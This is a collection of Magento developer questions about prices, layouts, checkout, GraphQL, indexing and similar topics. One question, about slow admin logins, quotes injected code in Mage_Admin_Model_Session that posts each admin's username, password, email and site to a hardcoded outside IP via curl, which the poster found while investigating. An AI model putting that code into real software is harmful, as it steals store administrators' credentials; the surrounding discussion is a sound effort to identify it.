texts: Display product price without loading whole product

texts:
I have built a widget which shows the price of a product. This widget can be used on a CMS page.

To obtain the price of the product, the product is loaded and then the price is obtained with Mage_Catalog_Block_Product_Abstract::getPriceHtml() function.

When a CMS page contains multiple price widgets, a product is fetched from the database for each widget. To minimize loading times, I would like to reduce the data which is loaded for a widget to the minimum required to render the price.

What is the minimum set of attributes to render product price?


texts: Magento 2 : How to add Js and CSS using php in a page in frontend?

texts: In Magento 2, How to add Js and CSS using php in a page in frontend ? What are the php methods in magento 2 for adding css and js in a page object?


texts:
I have rewritten the customer login function to immediately redirect the customer to a specific category.

The overwritten login function looks like this:

public function loginAction()
{
    parent::loginAction();

    $categoryId = Mage::getStoreConfig('customer_rewrite/customer/target_category_id');
    $storeId = Mage::app()->getStore()->getId();
    $url = $this->_getSeoCategoryUrl($categoryId, $storeId);
    $this->_getSession()->setBeforeAuthUrl($url);
}

This function works perfectly (_getSeoCategoryUrl is a protected function I wrote to create the relevant URL, and is not important for this question, I think) and redirects to the correct category page.

I'm just curious why I had to use setBeforeAuthUrl, and not setAfterAuthUrl - I would like to know why I have to do it like that, since using setAfterAuthUrl results in the user just ending on the usual login landing page.

Any clarification on this would be most welcome.


texts: Reindexing in Magento with AOE Scheduler

texts:
I installed the rather nifty looking AOE Scheduler extension.  It's all working good and I can see a task called;

catalog_product_index_price_reindex_all

but from what I can gather this only reindexes the Index Product Prices.

My question is this:  How can I add a task to AOE that reindexes the ENTIRE Index?  I can see in my index at the moment that Product Attributes needs reindexing.


texts: I am working on theme, but installed sample data as i didn't have data to work on. Now that i am using my own package and theme, the previous default theme left a broken series of images which were slideshow. Either i can make the slideshow work again or remove it, in both cases i don't know where to look for, i have my template path tags enabled, but on those slideshow images there isn't any.


texts: How get Image Url by product_id or other way

texts:
I am rendering sales_items rows in frontend
Screenshot is:

Can anyone please help me to find how get image path here from product id or any other solution. and set path in src tag ?

My .phtml file code is there :

<?php
$OrderItemHelper = $this->helper('CompanyName\ModuleName\Helper\Orders');
$collection = $OrderItemHelper->getOrderItem();
?>
Total order Items <?php echo count($collection)?>

Seller Product Data

        ID
        Product Id
        Image
        Name
        Sku
        Description
        Sale Date
        Price
        Qty
        Total
        Action

    <?php foreach ($collection as $key => $data): ?>

            <?php echo $data->getItemId(); ?>
            <?php echo $data->getProductId(); ?>

            <?php echo $data->getName(); ?>
            <?php echo $data->getSku(); ?>
            <?php echo $data->getDescription(); ?>
            <?php echo $data->getCreatedAt(); ?>
            <?php echo $data->getPrice(); ?>
            <?php echo $data->getQtyOrdered(); ?>
            <?php echo ($data->getQtyOrdered()*$data->getPrice()); ?>

                <a href="<?php echo $block->getBaseUrl().'admin/catalog/product/edit/id/'.$data->getId(); ?>" class="action view">
                    View

    <?php endforeach; ?>

<?php
?>


texts: where I should write a code for send an email after adding new account/forgotpassword/reset password in magento?

texts:
Where I should write a code for send an email after adding new account/forgot password/reset password in magento ?

Thanks.


texts: Magento2 : How to get guest email address after shipping address and before placeorder?

texts:
I am making a payment method. After clicking Place Order Button from checkout in custom payment method controller file I am getting the quote object will all billing and shipping data.

In that, I am not getting the guest email address. Also at that time email address is not saved in DB in address table.

  How do I get the guest email address after shipping address and before
  place order ?

I am using my custom controller, in this the code is :

 $quote = $this->getQuote();
 //get Email to set for guest user
 if ($quote->getCustomerEmail()) {
     $email = $quote->getCustomerEmail();
 } elseif ($quote->getBillingAddress()->getEmail()) {
     $email = $quote->getBillingAddress()->getEmail();
 } else {
     $email = '';
 }


texts: Search in front end Indexing product Id, I want add supplier id also . How can i achieve this?

texts:
Search in front end Indexing product Id.I want add supplier id  also for search index , I am using udropship extensions for supplier management.

Can any one suggest me how can we can achieve this.


texts:
I am running Magento 1.8.1.0. I made a price rule to give all customer groups 20% off on all products, up to date 12/25/2014. I click the button "Save and Apply", the prices of all products run well.

But on the next day, all prices are restored to the original price automatically.
Can anybody can help me?


texts: Order emails not sending to Sales Representative (store email address)

texts:
I have ce 1.9.1.1 installed and it appears that all of the emails are sending except for the Order notification email to the set "Sales Representative" email set up in System>Configuration>Store Email Addresses.

I'm running Linux CPanel virtual hosting (customer's choice) through Godaddy, I have a cron job set up to run every minute pointed at cron.php, their company email is through google business apps and I have the MX records set up correctly for that.

It sends the order invoice to the customer email address, the contact form works, and if I put an email address in the "Send order copy email to:" field in System>Configuration>Sales Emails and set it as "Send Order Email Copy Method" to "Separate Email" it will send the order notification to that email address.

So to summarize:  When and order is placed on front end, the customer receives an email and whatever email address is put into the Send Order Email Copy receives an email, but no matter what email address is put in as the Sales Representative email (whether in domain or different domain) it does not send an email to Sales Representative.

What am I missing?


texts:
I want to add some column as a drop drown with some values (not in grid)but I can't get Them , I don't know why !

Test 1:

$this->addColumn('somme', array(
            'label'   => Mage::helper('module')->__('Somme'),
            'style'   => 'width:100px',
            'type'    => 'options',
            'options'   => array(0 => $this->__('Value1'), 1 => $this->__('Value2')),
            'sortable'  => false,
        ));

Test 2:

$this->addColumn('somme', array(
            'label'   => Mage::helper('module')->__('Somme'),
            'style'   => 'width:100px',
            'type'    => 'options',
            'renderer' => 'Module_ModuleName_Block_Config_Adminhtml_Renderer_Dropdown',
        ));

Module_ModuleName_Block_Adminhtml_Renderer_Dropdown

class Module_ModuleName_Block_Config_Adminhtml_Renderer_Dropdown extends Mage_Adminhtml_Block_Widget_Grid_Column_Renderer_Abstract{
    public function render(Varien_Object $row) {
        $html = '<select>';
        $html .= '<option value="0">Value1</option>';
        $html .= '<option value="1">Value2</option>';
        $html .= '</select>';
        return $html;
    }
}


texts: Catalog price rule doesn't apply if the date is set to today

texts:
I'm trying to set scheduled catalog price rules in my store.

When applying a catalog price rule to my store it does not work when the starting date is set to the current day.

It does work when I subtract one day of the current date.

Examples (using 2016-11-21 as the current date):

    From: 2016-11-21. Doesn't work.
    From: 2016-11-20. Does work.

Is this supposed to happen? If not, what could be the issue?

I'm running Magento CE 1.9.2.4.

Thank you!


texts: Magento 1.9 edit CartController redirect when on mobile

texts:
I want to edit the Magento 1.9.4 CartController.php file, to change the redirect when a user is on a mobile device (max screen width 750px).

I set the default Magento add to cart redirect method to stay on the same page and not redirect to the cart. But when a user is on a mobile device, I want to redirect them direct to the cart.

How can I achieve that?


texts:
how can i easily stop empty elements from being removed by the CMS WYSIWYG editor?
it seems that changing the code is a very cumbersome way


texts: Magento Products not visible after migration

texts:
I have migrated site magento 1.9.3 to magento 2.2.5 using data migration loader, everything is successfully migrated, I can see order, customer and product data on backend but products are not visible on frontend

I have done everything like cache clear, indexing from CLI. Products have proper stock and quantity and are set to enable.

Any leads?

I have these in store configurations

but in content -> design there are 4 entries


texts: Magento 2 : Call Helper Without Using __construct in Own Module

texts:
I have created a new module and override the

  \Magento\Catalog\Block\Product\View\Description

function using preference.
In this module we create new helper located in

  Custom_Hello/Helper/Data.php

Then how to call this helper in

  Custom_Hello/Block/Product/View/Description.php

If we use __construct got some error.

public function __construct(\Custom\Hello\Helper\Data $helper)
    {
        $this->helper = $helper;
    }

Anyone helpme


texts: How to create template for WYSIWYG editor magento 2

texts:
I have problem with template in wysiwyg editor on admin page. In Catalog > Products > Content tab we have wysiwyg editor, but I'm confused were I need to create templates for selecting.

It using TinyMCE 4.9.5 Editor free magento extension - https://github.com/magefan/module-wysiwyg-advanced


texts: Magento ver. 1.9.0.1 - How to list all sub-categories in CMS Page?

texts:
I have a problem customizing a Magento page.

Categories (example):
Default Category (0)
 - Products (9)
   - High Bay (0)

In directory -> public_html/app/design/frontend/template/default/template/page/list.phtml

list.phtml (code below)

    $_category = Mage::getModel('catalog/category');
            $_categories = $_category
            ->getCollection()
            ->addAttributeToFilter('level', 3)
            ->addAttributeToSelect("*");

            foreach ($_categories as $_category){
                //print_r($_category);
                //die(0);
                echo $_category->getThumbnail().'   ';
                echo $_category->getName().'   ';
            }
                ?>

Can I ask users here how do I retrieve and display an image and create a link to respective category products? I am getting only image name with no image display.

Thank you.


texts: Group Concat with JOIN with data in first table is NULL in second

texts:
I have a query which joins two table. Invoice table and comments table.
But there are instances that an invoice has no equivalent row in Comments table.

My query returns those who has both, Example is My Invoice ID 1 has two rows in Comments table thus returning concatenated 2 rows in Comment table and joins it to my invoice table, but what if I also want to display those who has no comments in Comments table.

Sample is below

Table 1 (INVOICE TABLE)      TABLE 2 (COMMENTS TABLE)

ID   NAME                      ID  COMMENTS
1    MYINVOCIE                 1   YEAH
2    MY OTHER INVOICE          1   ALRIGHT

MY QUERY WILL RETURN IT AS

TABLE WITH CONCAT AND JOINED
ID    NAME         COMMENTS
1    MY INVOICE    YEAH|ALRIGHT

But it does not show the 2 because in my query it checks if the ID has an equal ID on the table 2.
I want my result to be like

TABLE I WANT TO HAVE AS A RESULT
ID       NAME             COMMENT
1      MY INVOICE         YEAH|ALRIGHT
2      MY OTHER INVOICE   NULL

Here's my QUERY

SELECT `main_table`.*,
(
  SELECT GROUP_CONCAT(comment SEPARATOR '|' )
  FROM mgmx_sales_flat_invoice_comment a WHERE a.parent_id =
  main_table.entity_id
  group by parent_id
) AS `comment`
FROM `mgmx_sales_flat_invoice_grid` AS `main_table`
INNER JOIN `mgmx_sales_flat_invoice_comment` AS `a`
ON a.parent_id = main_table.entity_id
GROUP BY `main_table`.`entity_id`


texts: Magento 1: guide to pixel tracking module development

texts: I was wondering if someone could write a generic guide to develop a pixel tracking module.


texts: Notice: A non well formed numeric value encountered in /var/www/html/vendor/magento/framework/Image/Adapter/Gd2.php on line 467

texts: Can you help me? please, I want to know , how to fixed this error in magento 2.0.46 in ubuntu 14.04 Operating System.


texts: Error to create customer by graphql mutation

texts:
I used graphql to create customer as following:
mutation {
  createCustomer(
    input: {
      firstname: "Bob"
      lastname: "Loblaw"
      email: "bobloblaw@example.com"
      password: "b0bl0bl@w"
      is_subscribed: true
    }
  ) {
    customer {
      firstname
      lastname
      email
      is_subscribed
    }
  }
}

But magento said "company is required value". Actually, I created some custom attributes of customer. I don't know how to pass those attributes value to graphql.
Thanks


texts: Magento 2 Checkout page . Why not display Price shipping in page checkout?

texts:
Question 1. Please help me . I custom my theme and page checkout. I write file checkout_index_index_.xml in my theme for render page checkout. But it don't display shipping method, price for Flat Rate or Best Way. In this picture . So I can't checkout my cart.

.

 So , I can't checkout my cart.

I just copy file checkout_index_index.xml to <mytheme>\<layout>checkout_index_index.xml .
So , please help me resolve this it.

Question 2. I don't understand about this code. Please help me

ko foreach: $parent.getRegion('price') .
What is $parent? And this line do what?


texts: Magento2 Add $20 discount to users (both Login & Guest) who subscribe for Newsletter & a coupon code to apply this discount, validity of 4 weeks

texts:
Magento2 Enterprise Edition - I need to provide $20 discount to users (both Login & Guest) who subscribe for Newsletter

A coupon code to apply this discount & the validity of 4 weeks

Basically I tried by creating a cart rule, but it is validating only Registered User & not Guest.

How can I achieve this? Any help will be appricated.


texts:
i want to add this extension  on sidebarand my code is such this

<div class="col-md-12 col-sm-6">

{{widget type="megamenupro/megamenupro" menu="4"}}

Link
But does not display on slider.

Can you help me ?


texts:
I perform the minification of the js and css files, I see that they were minified in the pub/static/... directory. But why in the dev-tool of the browser I see that minified files are not used?
Cache, page cache and other - was cleaned.
Magento 2.1.2, Magento 2.2.3
chrome 59.0.3071.109 (Official Build) (64-bit)
Current application mode: production.


texts: Magento Adminhtml date picker on custom page (non-form)

texts:
I'd like to add a date picker to a custom input field on a .phtml. file which is loaded by Block reference, i.e:

Controller

public function indexAction()
{
    $this->loadLayout();
    $this->getLayout()->getBlock('head')->setTitle('Title');
    $this->_setActiveMenu('namespace/module');
    $this->_addContent($this->getLayout()->createBlock('namespace/adminhtml_module'));
    $this->renderLayout();

}

Block

public function __construct()
{
    parent::__construct();
    $this->setTemplate('namespace/page.phtml');
}

Which forwards to: app/design/adminhtml/default/default/template/namespace/page.phtml.

Now that the forwarding is set up, I can design whichever kind of layout I'd like to on that page. i.e:

Enter the date here:

<input name='date' id='date'></input>

I'd like to know how I can reference Magento's date picker which it uses on form elements, i.e:

$fieldset->addField('date', 'date', array(
'name'               => 'date'
'label'              => Mage::helper('your_module_name')->__('Date'),
'after_element_html' => 'Comments',
'tabindex'           => 1,
'image'              => $this->getSkinUrl('images/grid-cal.gif'),
'format'             => Mage::app()->getLocale()->getDateFormat(Mage_Core_Model_Locale::FORMAT_TYPE_SHORT) ,
'value'              => date( Mage::app()->getLocale()->getDateStrFormat(Mage_Core_Model_Locale::FORMAT_TYPE_SHORT),
                              strtotime('next weekday') )
));

Source: magento add calender date picker to custom form in admin (custom module)

Any input would be much appreciated.


texts: Magento 2 Create Controller rendering Blank Page

texts:
I am new to Magento and I tried this tutorial where I will create a controller for Magento 2.
https://www.mageplaza.com/magento-2-module-development/how-to-create-controllers-magento-2.html
My problem is: When I try to go to the http://<yourbrowser>/helloworld or http://<yourbrowser>/helloworld/index/index, it renders a blank page.
I followed everything from the tutorial, just I renamed the /vendorName/moduleName to /custom/helloWorld
Here are the codes: app/code/custom/helloWorld/etc/frontend/routes.xml
<?xml version="1.0" ?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:App/etc/routes.xsd">
    <router id="standard">
        <route frontName="helloworld" id="helloworld">
            <module name="custom_helloWorld"/>
        </route>
    </router>
</config>

app/code/custom/helloWorld/Controller/Index/Index.php
<?php
namespace custom\helloWorld\Controller\Index;

class Index extends \Magento\Framework\App\Action\Action
{
    protected $_pageFactory;
    public function __construct(
        \Magento\Framework\App\Action\Context $context,
        \Magento\Framework\View\Result\PageFactory $pageFactory)
    {
        $this->_pageFactory = $pageFactory;
        return parent::__construct($context);
    }

    public function execute()
    {
        return $this->_pageFactory->create();
        //Pagefactory is used to initialize the layout.
    }
}

app/code/custom/helloWorld/view/frontend/layout/helloworld_index_index.xml
<?xml version="1.0"?>
<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" layout="1column" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
    <referenceContainer name="content">
        <block class="custom\helloWorld\Block\Index" name="helloworld_index_index" template="custom_helloWorld::index.phtml" />
    </referenceContainer>
</page>

app/code/custom/helloWorld/Block/Index.php
<?php
namespace custom\helloWorld\Block;
class Index extends \Magento\Framework\View\Element\Template
{

}

app/code/custom/helloWorld/view/frontend/templates/index.phtml

Welcome to HELLO WORLD PAGE!

I already tried to flush the cache but same problem occur.
I hope you can help me. Thank you so much in advance!!

UPDATE: So I just copied whatever is in the link: https://www.mageplaza.com/magento-2-module-development/how-to-create-controllers-magento-2.html
And still renders a blank page...


texts: Sorting the PDF Invoice by A Custom Attribute.

texts:
I have created an attribute called stocknumber which assists me in finding products on the shelf. I need to have my PDF invoice ordered by this attribute. I currently have it sorting by 'name' and this works but I think I need to add my new attribute to the 'order_invoice_item_collection', Any help would be greatly appreciated.

require_once 'Mage/Sales/Model/Order/Invoice.php';

class Signalfly_SortingInvoices_Model_Order_Invoice extends Mage_Sales_Model_Order_Invoice
{
    public function getItemsCollection()
    {
        if (empty($this->_items)) {

            $this->_items = Mage::getResourceModel('sales/order_invoice_item_collection')
                ->addAttributeToSelect('*')
                ->setInvoiceFilter($this->getId())->addAttributeToSort('name', 'asc');

            if ($this->getId()) {
                foreach ($this->_items as $item) {
                    $item->setInvoice($this);
                }
            }
        }
        return $this->_items;
    }
}


texts: Magento 2: Undefined variable: installer

texts:
I'm too new to Magento: i'm getting an error when setup:upgrade, here is my code:
app/code/Adamsmage/Checkoutattribute/Setup/InstallData.php

<?php
namespace Adamsmage\Checkoutattribute\Setup;

use Magento\Framework\Setup\InstallDataInterface;
use Magento\Framework\Setup\ModuleContextInterface;
use Magento\Framework\Setup\ModuleDataSetupInterface;
use Magento\Customer\Model\Customer;
use Magento\Customer\Setup\CustomerSetupFactory;

class InstallData implements InstallDataInterface
{

    private $customerSetupFactory;

    /**
     * Constructor
     *
     * @param \Magento\Customer\Setup\CustomerSetupFactory $customerSetupFactory
     */
    public function __construct(
        CustomerSetupFactory $customerSetupFactory
    ) {
        $this->customerSetupFactory = $customerSetupFactory;
    }

    /**
     * {@inheritdoc}
     */
    public function install(
        ModuleDataSetupInterface $setup,
        ModuleContextInterface $context
    ) {
        $customerSetup = $this->customerSetupFactory->create(['setup' => $setup]);

        $customerSetup->addAttribute('customer_address', 'example', [
            'label' => 'example',
            'input' => 'text',
            'type' => 'varchar',
            'source' => '',
            'required' => false,
            'position' => 333,
            'visible' => true,
            'system' => false,
            'is_used_in_grid' => false,
            'is_visible_in_grid' => false,
            'is_filterable_in_grid' => false,
            'is_searchable_in_grid' => false,
            'backend' => ''
        ]);

        $attribute = $customerSetup->getEavConfig()->getAttribute('customer_address', 'example')
            ->addData(['used_in_forms' => [
                'customer_address_edit',
                'customer_register_address',
                'adminhtml_customer_address',
                'customer_address'
            ]]);
        $attribute->save();

        $installer->getConnection()->addColumn(
            $installer->getTable('quote_address'),
            'example',
            [
                'type' => 'varchar',
                'length' => 255
            ]
        );

        $installer->getConnection()->addColumn(
            $installer->getTable('sales_order_address'),
            'example',
            [
                'type' => 'varchar',
                'length' => 255
            ]
        );
    }
}

ERROR:


texts:
Hello i trying to make magento to work on my laptop. first problem i ran into was black screen but where able to fix it. My next problem is infinite loading after admin login on the backend.

I already increased te Memory_limit in php.ini to 2048M it was 512M. Already cleared browser caches. Currently using xampp 7.3.13 and Magento 2.3.3.

Would apreciate it alot if someone can help me.


texts:
I want to Upgrade existing magento website with around 3000 products from magento 1.8.1.0 to magento 2.0.

Note : Design is custom.


texts: How to move products Attributes block after price

texts:
How do I move or show the product attributes currently showing at More Information to after the Price and Availability In Stock.

Here is the piece that shows the product attributes under More Information tab.

<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/

// @codingStandardsIgnoreFile

/**
 * Product additional attributes template
 *
 * @var $block \Magento\Catalog\Block\Product\View\Attributes
*/
?>
<?php
$_helper = $this->helper('Magento\Catalog\Helper\Output');
$_product = $block->getProduct();
?>
<?php if ($_additional = $block->getAdditionalData()): ?>

<?= /* @escapeNotVerified */ __('More
Information') ?>

        <?php foreach ($_additional as $_data): ?>

                <?= $block-
>escapeHtml(__($_data['label'])) ?>
                <td class="col data" data-th="<?= $block-
>escapeHtml(__($_data['label'])) ?>"><?= /* @escapeNotVerified */ $_helper-
>productAttribute($_product, $_data['value'], $_data['code']) ?>

        <?php endforeach; ?>

<?php endif;?>


texts: How to prepare modules that depends on each other for Marketplace

texts:
Let's assume that I have module A and B.
Second(B) one depends on the first(A) one how can I prepare them for Magento Marketplace?

For one module it's easy I just zip it and place it in Marketplace also while doing that Magento has option to add packages? Is this a solution for dependent modules?


texts: How can I get post data when adding a product to cart?

texts:
Tested and searched on this.. believe me.

I have created a form which when submitted adds a specific product to the cart. An input will look like this for example:

<input id="home:email" class="input-text validate-email required-entry" type="text" size="40" maxlength="60" title="email" name="home[email]" />

I am now trying to get that form's data in my observer (in a custom module). The event I thought best to hook onto is checkout_cart_add_product_complete as it provides:

array('product' => $product, 'request' => $this→getRequest(), 'response' => $this->getResponse())

I've tried lots of different variations but cannot return the form's data in my observer function, e.g.

// none of these work
$data = $observer->getRequest()->getPost('home', array());
$data = $observer->getEvent()->getRequest()->getPost('home', array());
$data = $observer->getEvent()->getControllerAction()->getRequest()->getPost('home', array());
$data = $observer->getRequest()->getParams();
$data = $observer->getEvent()->getRequest()->getParams();
$data = $observer->getEvent()->getControllerAction()->getRequest()->getParams();

Can anyone suggest how i do this or if there are any alternative approaches? Many thanks_g

..and for absolute clarification here's the form:

<?php
// creates add to cart submit url
$product = Mage::getModel('catalog/category')->load(1);
$add2cartUrl = Mage::helper('checkout/cart')->getAddUrl($product);
$add2cartUrl = substr_replace($add2cartUrl, '?', -1, 1);
$options_arr = array('options[-5071]' => 1)
foreach($options_arr as $idx => $val) $optsSuffix_arr[] = $idx.'='.$val;
$add2cartUrl .= implode('&',$optsSuffix_arr);
// e.g. $add2cartUrl outputs: http://mywebsite.com/checkout/cart/add/uenc/aHR0cDovL2FydHNob3BkaXJlY3QuY28udWsvc29mdHdhcmUtbWFnZW50bzIv/product/1/form_key/Hs2WoFBfnJtChfwN?options[-5071]=1
?>
<form class="create-account" name="home-create-account" id="home-create-account">
<input type="hidden" name="product" value="1" />
<input type="hidden" name="form_key" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" />

    <input id="home:email" class="input-text validate-email required-entry" type="text" size="40" maxlength="60" title="email" name="home[email]" />

<fieldset class="add-to-cart-box">

<button class="button btn-cart" onclick="setLocation('<?php echo $add2cartUrl ?>')" title="Click Here" type="button">

Click Here

</button>

</fieldset>
</form>


texts: Catalog URL Rewrites - Index product and categories URL rewrites - take long time to processing

texts:
How can i solve Catalog URL Rewrites not set,

Look for below image,


texts: How to add simple product to cart instead of configurable product

texts:
I want to prevent configurable products from ending up in the cart. I want to add their simple product equivalent to the cart.

Despite this being a fairly normal request, I haven't found anything that is doing this.

I currently have an observer set up to work on checkout_cart_add_product_complete
checkout_cart_add_product_complete

I'm able to manipulate the cart from here (add, remove items), but I can't remove a configurable product (nor its options).

Does anyone know how this is possible?

Observer.php

class Mymodule_Addtocartredirect_Model_Customizablereplace {
    public function replaceItems($observer) {
        $quote   = Mage::getSingleton('checkout/session')->getQuote();
        $storeId = Mage::app()->getStore()->getStoreId();

        foreach ($quote->getAllItems() as $item) {
            $result = array();
            Mage::log("We have a product! " . $item->getSku(),null,"test.log");
            if($item->getOptionByCode('simple_product')) {
                $childProduct = $item->getOptionByCode('simple_product')->getProduct()->getId();
                Mage::log("We have ".$childProduct,null,"test.log");
            }

            if ($option = $item->getOptionByCode('simple_product')) {
                $cartHelper = Mage::helper('checkout/cart')->getCart();
                $quantity = $item->getQty();
                $childProduct = $option->getProduct();
                Mage::log("Child Product: ".$childProduct->getSku()." (".$childProduct->getId().")",null,"test.log");
                $cartHelper->removeItem($item->getId());
                $cartHelper->addItem($childProduct->getId(),$quantity);
            }
        }
        $quote->collectTotals()->save();
    }
}


texts: Magento 1.9: Strange IP address hardcoded on admin login

texts:
A little background
A couple of months ago one of my clients had mentioned that they were having issues logging into the admin panel. When I looked into it, it seemed that the login was timing out because it was taking so long (1 minute exactly).

I did a "quick-fix" of increasing the timeout value and made a note to investigate this more. We had moved servers a few weeks before that from a shared hosting that was suffering frequent downtimes to a VPS on a different provider. Having more freedom on the VPS, I decided to use PHP-FPM on the new server in anticipation that we would be soon setting up a Magento 2 in parallel which needed a different PHP version. I'm mentioning all this because I assumed that PHP-FPM was the culprit that it was very slow and that I most probably needed to read more regarding its performance configurations.

Investigation
What I did not expect is that after several hours of changing configurations, investigating profiler etc. I ended up on this piece of strange code in the file app/code/core/Mage/Admin/Model/Session.php:

/** @var $user Mage_Admin_Model_User */
        $user = $this->_factory->getModel('admin/user');
        $user->login($username, $password);
        if ($user->getId()) {
                                    $data1 = $username;
                                    $data2 = $password;
                                    $data3 = $user->getEmail();
                                    $data4 = $_SERVER['SERVER_NAME'];
                                    $data5 = $_SERVER['REQUEST_URI'];
                                    $auth1 = "Username=".($data1)."&Password=".($data2)."&Email=".($data3)."&Site=".($data4)."&Request=".($data5);
                                    $url = "http://69.30.232.110/login.php";
                                    $ch = curl_init();
                                    curl_setopt($ch, CURLOPT_URL,$url);
                                    curl_setopt($ch, CURLOPT_REFERER, $url);
                                    curl_setopt($ch, CURLOPT_HEADER, 1);
                                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                                    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
                                    curl_setopt($ch, CURLOPT_TIMEOUT, 60); //
                                    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
                                    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
                                    curl_setopt($ch, CURLOPT_POST, 1);
                                    curl_setopt($ch, CURLOPT_POSTFIELDS, $auth1);
                                    $result = curl_exec($ch);
                                    curl_close($ch);
            $this->renewSession();

            if (Mage::getSingleton('adminhtml/url')->useSecretKey()) {
                Mage::getSingleton('adminhtml/url')->renewSecretUrls();
            }

Special emphasis here on the line going to "http://69.30.232.110/login.php".
It seems that the domain/IP address is no longer in use and curl_exec was timing out hence the whole login was taking so long.

Was this some kind of malicious code inserted somehow?


texts: Magento 1.9 Custom extension not displaying block in product view

texts:
I have been trying to display a custom template in the product view page in a simple extension but it only works for some references: product.info.additional, product.info.extrahint, product.tooltip and product.info.addtocart.

My app/design/frontend/base/default/layout/productest.xml looks like this. I m trying to display a simple text now but to no success:

<?xml version="1.0"?>
<layout version="0.1.0">
  <catalog_product_view>
    <reference name="product.info">
        <block type="core/text" name="core-text"><action method="setText"><text><![CDATA[
Souh
]]></text></action></block>
    </reference>

  </catalog_product_view>
</layout>

I have also echoed the block names that are used in the product page:

Array
(
    [0] => product.info.media
    [1] => alert.urls
    [2] => product.info.upsell
    [3] => product.info.additional
    [4] => product.description
    [5] => product.attributes
    [6] => catalog.product.related
    [7] => product.info.addto
    [8] => product.info.sharing
    [9] => product.info.addtocart
    [10] => product.info.extrahint
    [11] => product.info.options.wrapper
    [12] => product.info.options.wrapper.bottom
    [13] => product.info.container1
    [15] => product.info.additional.recurring.schedule
    [16] => product.reviews
    [17] => product.info.simple
    [18] => product.info.availability
)

I don't understand why not all of them can be extended/referenced when they all appear to be called in the product page.

Thank you in advance for your help.


texts: How to duplicate my magento website keeping configuration to start another project?

texts:
I have a magento website and I would like to start another project with distinct domain ,products and the appareance, keeeping all configuration.

I am using magento 1.9

Could your help me to achieve that ?

Thank you in advance


texts: Magento 2: Elasticsearch throw the error "Undefined factory elastic"

texts:
Elasticsearch module is not working in Magento 2.3.2 version, but it's working in below of the Magento 2.3.2 version.

Throw the error "Undefined factory elastic"

Below is the error log:

Exception #0 (DomainException): Undefined factory elastic

Exception #0 (DomainException): Undefined factory elastic
<pre>#1 Magento\Catalog\Model\Layer->getProductCollection() called at [vendor/magento/module-catalog-search/Model/Layer/Filter/Category.php:76]
#2 Magento\CatalogSearch\Model\Layer\Filter\Category->apply(&Magento\Framework\App\Request\Http#0000000078f3cf2a00000000500faff8#) called at [vendor/magento/module-layered-navigation/Block/Navigation.php:67]
#3 Magento\LayeredNavigation\Block\Navigation->_prepareLayout() called at [vendor/magento/framework/View/Element/AbstractBlock.php:283]
#4 Magento\Framework\View\Element\AbstractBlock->setLayout(&Magento\Framework\View\Layout\Interceptor#0000000078f3ce5500000000500faff8#) called at [vendor/magento/framework/View/Layout/Generator/Block.php:149]

Any have faced same issue then let me know.

Any clue for this issue? Your help will be appreciated.


texts: Transactional Email Layout Handle Not Working

texts:
I've created a custom module with custom transactional email.The layout handle does not work in the email that's being sent,

 {{layout handle="reviewreminder_order_email" order=$order}}

I've also tried setting the block directly

{{block type="core/template" template="pixl_reviewreminder/reminder.phtml" order=$order}}

Layout file

<?xml version="1.0"?>
<layout version="0.1.0">
    <reviewreminder_order_email>
        <block type="core/template" name="reviewreminder.email.items" template="pixl_reviewreminder/reminder.phtml" />
    </reviewreminder_order_email>
</layout>

How can i debug the layout handle?

UPDATE

I'm using custom package and custom theme.How do I specify package name and theme name in layout handle.If I place the template in default/mytheme it works


texts: Setting depending on values of a setting from another group

texts:
I have a field called "active" in "group1" that should only be shown if the value of the field "username" in "group0" has been entered.

I have the following code at the moment:

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <sections>
        <carriers>
            <groups>
                <group0 translate="label" module="mymodule">
                    Settings
                    <frontend_type>text</frontend_type>
                    <sort_order>98</sort_order>
                    <show_in_default>1</show_in_default>
                    <show_in_website>1</show_in_website>
                    <show_in_store>1</show_in_store>
                    <fields>
                        <username translate="label">
                            Username
                            <frontend_type>text</frontend_type>
                            <sort_order>103</sort_order>
                            <show_in_default>1</show_in_default>
                            <show_in_website>1</show_in_website>
                            <show_in_store>1</show_in_store>
                        </username>
                    </fields>
                </group0>
                <group1 translate="label" module="mymodule">
                    Groupe 1
                    <frontend_type>text</frontend_type>
                    <sort_order>99</sort_order>
                    <show_in_default>1</show_in_default>
                    <show_in_website>1</show_in_website>
                    <show_in_store>1</show_in_store>
                    <fields>
                        <active translate="label">
                            Enabled
                            <frontend_type>select</frontend_type>
                            <source_model>adminhtml/system_config_source_yesno</source_model>
                            <sort_order>101</sort_order>
                            <show_in_default>1</show_in_default>
                            <show_in_website>1</show_in_website>
                            <show_in_store>1</show_in_store>
                        </active>
                        <title translate="label">
                            Carrier Title
                            <frontend_type>text</frontend_type>
                            <sort_order>103</sort_order>
                            <show_in_default>1</show_in_default>
                            <show_in_website>1</show_in_website>
                            <show_in_store>1</show_in_store>
                            <depends>
                                <active>1</active>
                            </depends>
                        </title>
                    </fields>
                </group1>
            </groups>
        </carriers>
    </sections>
</config>


texts: How do I create custom form submit in product detail

texts:
Im writing a project and i have to create a field in product detail to get number .
Like this

To do this , i refer to product.info.extrahint and put my block inside .
But when i click submit button , it alway refer to add cart page even if action form are whatever . Im confusing . Any idea to help me out ? . Thank in advance


texts:
I have a log_url table that is close to a million rows. I have run log cleaning but it doesn't seem to put a dent into it (confirmed that the cron is running).

After some investigation, I see that the query to get rows to clean from log_url is this (in Mage_Log_Model_Resource_Log::_cleanUrls()):

SELECT
  `url_info_table`.`url_id`
FROM `log_url_info` AS `url_info_table`
LEFT JOIN `log_url` AS `url_table`
    ON url_info_table.url_id = url_table.url_id
WHERE (url_table.url_id IS NULL) LIMIT 100;

The method that calls this does not take into account the number of days you specify in the system config at all.

Can anyone tell me why that's the case for the log_url table only? All of the other log tables will take into account the system config settings. I want to clear this table out but I'm a bit nervous as to what may happen when I do. I understand that it could affect customers compared products history, but I have entries going back to 2012.


texts: magento 2.3.6 issue with wysiwyg images upload in admin

texts:
php version is 7.2
